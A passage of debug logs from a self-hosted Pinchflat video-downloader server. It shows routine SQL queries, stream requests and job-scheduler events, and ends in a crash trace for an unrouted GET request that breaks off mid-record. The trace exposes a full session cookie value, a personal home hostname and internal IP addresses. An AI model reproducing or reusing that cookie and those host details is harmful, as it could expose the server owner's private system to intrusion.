s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:51:41.083 [debug] QUERY OK source="oban_jobs" db=0.6ms queue=0.1ms idle=4.1ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [2216] 18:51:41.084 [debug] QUERY OK source="settings" db=0.3ms queue=0.2ms idle=2.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:51:41.085 [debug] QUERY OK source="oban_jobs" db=1.8ms idle=2.9ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [2259] 18:51:41.086 [debug] QUERY OK source="settings" db=1.5ms queue=0.1ms idle=2.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:51:41.087 [debug] QUERY OK source="settings" db=1.1ms queue=0.1ms idle=3.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:51:41.088 [debug] QUERY OK source="settings" db=0.6ms queue=0.3ms idle=2.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:51:41.088 [debug] QUERY OK source="settings" db=0.5ms queue=0.3ms idle=3.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:51:41.089 [debug] QUERY OK source="settings" db=0.6ms idle=3.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:51:41.091 [debug] QUERY OK source="media_profiles" db=1.1ms idle=3.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:51:41.092 [debug] QUERY OK source="media_profiles" db=1.5ms idle=3.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:51:41.152 [info] Sent 200 in 76ms 18:51:41.152 [info] Sent 200 in 76ms 18:51:41.932 [info] GET /sources/2/media/24933 18:51:41.933 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "24933", "prevent_download" => "true", "source_id" => "2"} Pipelines: [:browser] 18:51:41.934 [debug] QUERY OK source="media_items" db=0.5ms queue=0.2ms idle=845.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [24933] 18:51:41.936 [debug] QUERY OK source="tasks" db=1.2ms idle=845.7ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [24933] 18:51:41.937 [debug] QUERY OK source="sources" db=2.1ms idle=843.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:51:41.940 [debug] QUERY OK source="settings" db=1.1ms queue=0.1ms idle=846.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:51:41.941 [debug] QUERY OK source="settings" db=0.9ms queue=0.1ms idle=176.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:51:41.943 [debug] QUERY OK source="settings" db=0.6ms queue=0.1ms idle=8.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:51:41.945 [debug] QUERY OK source="media_profiles" db=0.5ms idle=7.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:51:41.983 [info] Sent 200 in 50ms 18:51:46.621 [info] {"source":"oban","duration":1970,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:52:00.956 [info] {"source":"oban","duration":909,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:52:16.624 [info] {"source":"oban","duration":2096,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:52:22.988 [info] GET /media/91770acf-1a73-47fd-96ab-f8e4d0657613/stream 18:52:22.988 [info] GET /media/baff2319-aac3-4222-8c56-13948e60dbb6/stream 18:52:22.988 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.stream/2 Parameters: %{"uuid" => "baff2319-aac3-4222-8c56-13948e60dbb6"} Pipelines: [:maybe_basic_auth] 18:52:22.988 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.stream/2 Parameters: %{"uuid" => "91770acf-1a73-47fd-96ab-f8e4d0657613"} Pipelines: [:maybe_basic_auth] 18:52:23.029 [debug] QUERY OK source="media_items" db=40.5ms idle=1214.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["91770acf-1a73-47fd-96ab-f8e4d0657613"] 18:52:23.030 [debug] QUERY OK source="media_items" db=41.9ms idle=1214.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["baff2319-aac3-4222-8c56-13948e60dbb6"] 18:52:23.032 [debug] Invalid range request for media item: 91770acf-1a73-47fd-96ab-f8e4d0657613 - serving full file 18:52:23.032 [info] Sent 200 in 44ms 18:52:23.034 [debug] Invalid range request for media item: baff2319-aac3-4222-8c56-13948e60dbb6 - serving full file 18:52:23.034 [info] Sent 200 in 46ms 18:52:41.803 [info] GET /media/dad78e99-a639-475a-9984-165b483a272d/stream 18:52:41.803 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.stream/2 Parameters: %{"uuid" => "dad78e99-a639-475a-9984-165b483a272d"} Pipelines: [:maybe_basic_auth] 18:52:41.803 [info] GET /sources 18:52:41.804 [debug] Processing with PinchflatWeb.Sources.SourceController.index/2 Parameters: %{} Pipelines: [:browser] 18:52:41.808 [debug] QUERY OK source="settings" db=1.7ms idle=507.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:52:41.808 [debug] QUERY OK source="media_items" db=4.0ms idle=988.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["dad78e99-a639-475a-9984-165b483a272d"] 18:52:41.810 [debug] QUERY OK source="settings" db=1.6ms idle=61.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:52:41.812 [debug] QUERY OK source="settings" db=0.7ms queue=0.2ms idle=64.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:52:41.814 [debug] QUERY OK source="settings" db=0.9ms idle=66.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:52:41.815 [debug] QUERY OK source="settings" db=0.6ms queue=0.1ms idle=7.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:52:41.863 [debug] QUERY OK source="sources" db=47.2ms queue=0.1ms idle=7.9ms SELECT count(s0."id") FROM "sources" AS s0 INNER JOIN "media_profiles" AS m1 ON m1."id" = s0."media_profile_id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "downloaded_count", sm0."source_id" AS "source_id", sum(sm0."media_size_bytes") AS "media_size_bytes" FROM "media_items" AS sm0 WHERE (NOT (sm0."media_filepath" IS NULL)) GROUP BY sm0."source_id") AS s2 ON s2."source_id" = s0."id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "pending_count", sm0."source_id" AS "source_id" FROM "media_items" AS sm0 INNER JOIN "sources" AS ss1 ON ss1."id" = sm0."source_id" INNER JOIN "media_profiles" AS sm2 ON sm2."id" = ss1."media_profile_id" WHERE (((((NOT (NOT (sm0."media_filepath" IS NULL)) AND NOT (sm0."prevent_download" = 1)) AND ((ss1."download_cutoff_date" IS NULL) OR date(sm0."uploaded_at") >= ss1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((ss1."title_filter_regex" IS NULL) OR regexp_like(sm0."title", ss1."title_filter_regex"))) AND (((ss1."min_duration_seconds" IS NULL) OR duration_seconds >= ss1."min_duration_seconds") AND ((ss1."max_duration_seconds" IS NULL) OR duration_seconds <= ss1."max_duration_seconds"))) GROUP BY sm0."source_id") AS s3 ON (s3."source_id" = s0."id") AND (s2."source_id" = s0."id") WHERE ((s0."marked_for_deletion_at" IS NULL) AND (m1."marked_for_deletion_at" IS NULL)) [] 18:52:41.869 [debug] QUERY OK source="sources" db=3.5ms idle=53.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", coalesce(s2."downloaded_count", 0), coalesce(s3."pending_count", 0), coalesce(s2."media_size_bytes", 0), m1."id", m1."name", m1."redownload_delay_days", m1."output_path_template", m1."download_subs", m1."download_auto_subs", m1."embed_subs", m1."sub_langs", m1."download_thumbnail", m1."embed_thumbnail", m1."download_source_images", m1."download_metadata", m1."embed_metadata", m1."download_nfo", m1."sponsorblock_behaviour", m1."sponsorblock_categories", m1."shorts_behaviour", m1."livestream_behaviour", m1."audio_track", m1."preferred_resolution", m1."media_container", m1."marked_for_deletion_at", m1."inserted_at", m1."updated_at" FROM "sources" AS s0 INNER JOIN "media_profiles" AS m1 ON m1."id" = s0."media_profile_id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "downloaded_count", sm0."source_id" AS "source_id", sum(sm0."media_size_bytes") AS "media_size_bytes" FROM "media_items" AS sm0 WHERE (NOT (sm0."media_filepath" IS NULL)) GROUP BY sm0."source_id") AS s2 ON s2."source_id" = s0."id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "pending_count", sm0."source_id" AS "source_id" FROM "media_items" AS sm0 INNER JOIN "sources" AS ss1 ON ss1."id" = sm0."source_id" INNER JOIN "media_profiles" AS sm2 ON sm2."id" = ss1."media_profile_id" WHERE (((((NOT (NOT (sm0."media_filepath" IS NULL)) AND NOT (sm0."prevent_download" = 1)) AND ((ss1."download_cutoff_date" IS NULL) OR date(sm0."uploaded_at") >= ss1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((ss1."title_filter_regex" IS NULL) OR regexp_like(sm0."title", ss1."title_filter_regex"))) AND (((ss1."min_duration_seconds" IS NULL) OR duration_seconds >= ss1."min_duration_seconds") AND ((ss1."max_duration_seconds" IS NULL) OR duration_seconds <= ss1."max_duration_seconds"))) GROUP BY sm0."source_id") AS s3 ON (s3."source_id" = s0."id") AND (s2."source_id" = s0."id") WHERE ((s0."marked_for_deletion_at" IS NULL) AND (m1."marked_for_deletion_at" IS NULL)) ORDER BY s0."custom_name" COLLATE NOCASE, s0."id" LIMIT ? OFFSET ? [10, 0] 18:52:41.873 [info] Sent 200 in 69ms 18:52:41.992 [debug] Invalid range request for media item: dad78e99-a639-475a-9984-165b483a272d - serving full file 18:52:41.992 [info] Sent 200 in 189ms 18:52:42.244 [info] GET /settings 18:52:42.244 [debug] Processing with PinchflatWeb.Settings.SettingController.show/2 Parameters: %{} Pipelines: [:browser] 18:52:42.246 [debug] QUERY OK source="settings" db=0.9ms queue=0.1ms idle=430.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:52:42.247 [debug] QUERY OK source="settings" db=0.7ms queue=0.1ms idle=430.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:52:42.249 [debug] QUERY OK source="settings" db=0.9ms idle=384.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:52:42.250 [debug] QUERY OK source="settings" db=0.5ms idle=383.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:52:42.253 [info] Sent 200 in 8ms 18:52:46.627 [info] {"source":"oban","duration":2181,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:53:00.957 [info] {"source":"oban","duration":651,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:53:16.630 [info] {"source":"oban","duration":2301,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:53:46.634 [info] {"source":"oban","duration":2597,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:53:59.390 [info] GET /app_info 18:53:59.390 [debug] Processing with PinchflatWeb.Settings.SettingController.app_info/2 Parameters: %{} Pipelines: [:browser] 18:53:59.390 [info] GET /sources/2/edit 18:53:59.391 [debug] Processing with PinchflatWeb.Sources.SourceController.edit/2 Parameters: %{"id" => "2"} Pipelines: [:browser] 18:53:59.393 [debug] QUERY OK source="settings" db=2.2ms idle=1580.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:53:59.393 [debug] QUERY OK source="sources" db=2.0ms idle=1580.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:53:59.395 [debug] QUERY OK source="settings" db=0.6ms queue=0.1ms idle=1583.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:53:59.397 [debug] QUERY OK source="media_profiles" db=1.1ms queue=0.7ms idle=1223.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 ORDER BY m0."name" [] 18:53:59.398 [debug] QUERY OK source="settings" db=1.5ms idle=222.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:53:59.399 [debug] QUERY OK source="settings" db=1.0ms queue=0.2ms idle=4.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:53:59.400 [debug] QUERY OK source="settings" db=0.7ms idle=3.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:53:59.401 [debug] QUERY OK source="settings" db=1.9ms queue=0.1ms idle=5.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:53:59.402 [debug] QUERY OK source="settings" db=0.3ms idle=3.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:53:59.403 [debug] QUERY OK source="settings" db=2.0ms idle=3.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:53:59.404 [info] Sent 200 in 14ms 18:53:59.419 [info] Sent 200 in 29ms 18:54:00.188 [info] GET /sources/2/force_metadata_refresh 18:54:00.191 [debug] QUERY OK source="settings" db=1.9ms idle=789.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:54:00.193 [debug] QUERY OK source="settings" db=1.0ms queue=0.2ms idle=790.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:54:00.193 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 18:54:00.194 [error] #PID<0.1305096.0> running PinchflatWeb.Endpoint (connection #PID<0.1305093.0>, stream id 2) terminated Server: tube.home.svallee.fr:80 (http) Request: GET /sources/2/force_metadata_refresh ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/2/force_metadata_refresh (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.1305093.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/force_metadata_refresh", host: "tube.home.svallee.fr", peer: {{10, 5, 5, 100}, 49682}, bindings: %{}, sock: {{172, 16, 3, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYdkg4N0xNUnVvMGtRRjE0RVEyNWJaRF9M.6qyOTheaQ_ffgb7td0pDccGa6iHZ19RZye-hsziD78Y", "host" => "tube.home.svallee.fr", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.216.147", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 2, host_info: :undefined, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYdkg4N0xNUnVvMGtRRjE0RVEyNWJaRF9M.6qyOTheaQ_ffgb7td0pDccGa6iHZ19RZye-hsziD78Y" }, halted: false, host: "tube.home.svallee.fr", method: "GET", owner: #PID<0.1305096.0>, params: %{}, path_info: 